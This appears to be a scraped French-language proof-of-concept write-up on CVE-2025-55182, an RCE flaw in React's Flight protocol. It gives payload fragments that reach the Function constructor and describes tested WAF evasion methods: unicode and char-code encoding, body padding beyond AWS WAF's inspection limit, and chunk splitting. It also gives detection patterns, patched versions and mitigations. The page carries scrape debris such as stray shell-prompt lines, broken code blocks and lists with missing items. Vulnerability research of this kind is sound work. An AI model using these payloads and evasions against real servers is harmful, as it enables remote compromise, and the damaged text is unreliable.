CVE-2025-55182-research

Preuve de concept technique et analyse approfondie de CVE-2025-55182, une vulnérabilité critique d'exécution de code à distance (RCE) dans le protocole Flight de React via un traversement de chemin, une injection de faux chunks et un abus du gestionnaire $B.

Flux d'exploitation```

┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘

Thenable auto-référentiel (then)

Le then: "$1:__proto__:then" crée une auto-référence qui se résout en une fonction réelle :``` $1:proto:then ↓ $1 → chunk 1 → "$@0" → getChunk(0) → Chunk object ↓ Chunk.proto.then → Chunk.prototype.then (actual function!)

5. initializeModelChunk(this) utilise this._response - le faux _response de l'attaquant :```javascript value = reviveModel( chunk._response, // ← attacker's fake _response! ... );

Stage 1: L'auto-référence then de l'objet externe déclenche le traitement de chunk.

Stage 2: Quand React résout le modèle, il analyse value et rencontre un autre thenable avec then: "$B1337". Le préfixe $B déclenche le handler :```javascript case "B": return response._formData.get(response._prefix + obj); // obj = "1337"

Le code interne de React peut accéder à response._chunks.get() ou response._chunks.has() pendant le traitement. Un Map vide satisfait ces appels sans erreur, permettant à l'exécution d'atteindre le gestionnaire vulnérable $B.

Chemins de code vulnérables

decodeReply() est le point d'entrée, pas vulnérable en soi.

Traversée de chemin (getOutlinedModel()):```javascript for (key = 1; key < reference.length; key++) parentObject = parentObject[reference[key]]; // No validation!

$B Handler RCE (parseModelString()):```javascript case "B": return response._formData.get(response._prefix + obj); // RCE!

2. hasOwnProperty vérification dans getOutlinedModel() - Empêche le parcours du prototype ```javascript hasOwnProperty.call(value, name) && (value = value[name]);
   root@kitploit:~

3. __proto__ gestion dans reviveModel() - Empêche la pollution du prototype ```javascript void 0 !== parentObj || "proto" === i ? (value[i] = parentObj) : delete value[i];
   root@kitploit:~

4. Vérification de type dans initializeModelChunk() - Valide les écouteurs ```javascript "function" === typeof listener ? listener(value) : fulfillReference(response, listener, value);
   root@kitploit:~

Impact & Versions

Évaluation de l'impact

Versions affectées

• react-server-dom-webpack : 19.0.0, 19.1.0, 19.1.1, 19.2.0
• react-server-dom-turbopack : mêmes versions
• Next.js : 15.x, 16.x (avant correctifs), canaries à partir de 14.3.0-canary.77+

Versions corrigées

• React : 19.0.1+, 19.1.2+, 19.2.1+
• Next.js : 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7+

Pourquoi la détection par WAF basée sur les signatures échoue

Cette section explique pourquoi les règles traditionnelles de WAF basées sur la correspondance de motifs ne peuvent pas détecter de manière fiable cette exploitation. Comprendre ces limitations est essentiel pour les équipes de sécurité qui évaluent leur posture défensive.

Le problème fondamental : encodage à plusieurs niveaux

La charge utile de l'exploitation traverse plusieurs analyseurs, chacun avec un support d'encodage différent. Un WAF inspectant les octets HTTP bruts voit des chaînes encodées, mais le serveur les décode avant de les traiter :

Cela crée un décalage fondamental : le WAF voit des octets encodés, mais l'application voit des chaînes décodées.

Ce que les signatures devraient rechercher

Un WAF naïf pourrait chercher des motifs comme constructor, __proto__, resolved_model ou child_process. Cependant, JSON autorise les échappements unicode pour n'importe quel caractère :

Le code JavaScript dans la charge utile dispose de encore plus d'options d'encodage :

Le fossé de détection

Lorsque toutes les techniques d'encodage sont combinées :

• Les clés JSON deviennent des séquences unicode (\u0074\u0068\u0065\u006e pour then)
• Les identifiants JS deviennent des tableaux numériques (S(99,104,105,108,100,95,...) pour child_process)
• La charge utile brute ne contient aucun mot-clé reconnaissable

Un WAF analysant le corps HTTP voit uniquement des séquences d'échappement et des nombres - rien qui ne corresponde aux signatures d'attaque traditionnelles.

Pourquoi cela importe pour les défenseurs

1. Les règles basées sur les signatures procurent une fausse confiance - La charge utile atteint le serveur sans être détectée
2. L'encodage est infini - Chaque caractère peut être échappé différemment ; les regex ne peuvent pas énumérer toutes les variantes
3. L'attaque est conforme aux protocoles - Tous les encodages sont valides JSON/JavaScript selon les spécifications

Considérations sur la détection des en-têtes

L'en-tête Next-Action identifie les requêtes Server Action. Bien que les noms d'en-têtes ne puissent pas être encodés en unicode (RFC 7230 exige des jetons ASCII), les différences de normalisation entre le WAF et le serveur créent des lacunes de détection :

Recommandations défensives

Le seul correctif fiable est d'appliquer les correctifs. Les règles WAF ne peuvent pas bloquer complètement cette attaque en raison de la flexibilité d'encodage.

Versions requises :

• React : 19.0.1+, 19.1.2+, 19.2.1+
• Next.js : 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

Si le correctif est retardé, envisagez :

1. Décoder avant la correspondance - Le WAF doit décoder les \uXXXX, \xXX et normaliser les appels fromCharCode() avant la recherche de motifs
2. Détection structurelle - Recherchez les structures JSON contenant _response, _prefix, _chunks ou des références circulaires ($@0)
3. Normalisation des en-têtes - Faire correspondre l'en-tête next-action de manière insensible à la casse avec suppression des espaces blancs
4. Bloquer les Server Actions - Si vous n'utilisez pas Server Actions, bloquez complètement les requêtes avec l'en-tête Next-Action
5. Surveillance à l'exécution - Alerter sur les appels à Function() avec des arguments de chaîne dynamiques

Point clé : La seule recherche de motifs échouera face à cette classe d'attaque. La surface d'encodage est trop vaste pour être énumérée.

Contournement des limites d'inspection du corps AWS WAF

Même avec des règles WAF complètes, AWS WAF impose des limites de taille d'inspection du corps qui peuvent être exploitées. Cette section documente les techniques de contournement testées utilisant des charges utiles surdimensionnées.

Limites d'inspection du corps

AWS WAF inspecte seulement une partie du corps de la requête :

Le problème OversizeHandling

Les règles WAF spécifient comment traiter les requêtes dépassant les limites d'inspection :

Si votre règle WAF utilise OversizeHandling: CONTINUE (par défaut courant), le contournement est trivial.

Stratégie de contournement : rembourrage avant la charge utile

Placez des données de rembourrage inoffensives avant la charge utile de l'exploitation afin qu'elles tombent en dehors de la fenêtre d'inspection :``` ┌─────────────────────────────────────────────────────────────────┐ │ Multipart Form Body │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: padding] 65KB of 'A' characters │ │ ↑ WAF inspects first 8-64KB (sees only this) │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: 0] {"then":"$1:proto:then", ...} │ │ [Field: 1] "$@0" │ │ [Field: 2] [] │ │ ↑ Exploit payload - beyond WAF inspection limit │ └─────────────────────────────────────────────────────────────────┘

Motif réparti sur plusieurs chunks:``` Chunk 1 ends with: ..."$ ← WAF sees "$" alone (no match for $@) Chunk 2 starts with: @0"... ← WAF sees "@" alone (no match for $@)

Considérations sur le comportement des WAF

Remarque : AWS WAF réassemble généralement les corps fragmentés avant inspection. Cependant, cette vérification doit être effectuée par environnement, car les configurations varient.

Recommandations d'atténuation

1. Changer OversizeHandling en MATCH ```json "OversizeHandling": "MATCH"
   root@kitploit:~

Cela bloque toute requête dépassant la limite d'inspection lorsque les conditions de la règle sont remplies.

2. Augmenter la limite d'inspection du corps (CloudFront/API Gateway uniquement) Configurez jusqu'à 64 Ko dans les paramètres de la liste de contrôle d'accès Web, mais cela n'empêche pas complètement le contournement.

3. Ajouter une règle de blocage basée sur la taille Bloquer les requêtes POST dont l'en-tête Next-Action dépasse une taille raisonnable (ex. 10 Ko).

4. Corriger l'application - La seule solution complète.

Scripts de test

Voir les scripts de test inclus :

• test-simple.cjs - Test de charge utile non fragmentée de base
• test-oversize.cjs - Teste les tailles de remplissage de 0 à 128 Ko
• test-chunked-v2.cjs - Encodage de transfert fragmenté avec séparation $@
• test-chunked-bypass.cjs - Plusieurs stratégies de fragmentation (5 octets, 10 octets, divisions de motif)

Usage:```bash

Start vulnerable Next.js server (port 3000)

cd nextjs-test && npm run dev

Run tests

node test-simple.cjs # Baseline node test-oversize.cjs # Oversize body bypass node test-chunked-v2.cjs # Chunked $@ split node test-chunked-bypass.cjs # All chunking strategies

With payload "$1:constructor:constructor":

1. chunk[1]["constructor"] → [Function: Object]
2. Object["constructor"] → [Function: Function]

Chemins Bloqués que Nous Avons Essayés

Bien que nous ayons obtenu Function, atteindre une exécution de code à distance (RCE) nécessite de l'appeler avec des arguments contrôlés. Ces chemins ont échoué :

1. Thenable Path (Bloqué)```javascript // Attempt: { then: Function } // When awaited, V8 calls: Function(resolve, reject) // resolve.toString() = "function () { [native code] }" // Result: SyntaxError - invalid parameter name

3. Chemin d'itérateur (Bloqué)```javascript // Function.bind(null, code) needs TWO calls to execute // React only calls iterator once // Result: Returns bound function, doesn't execute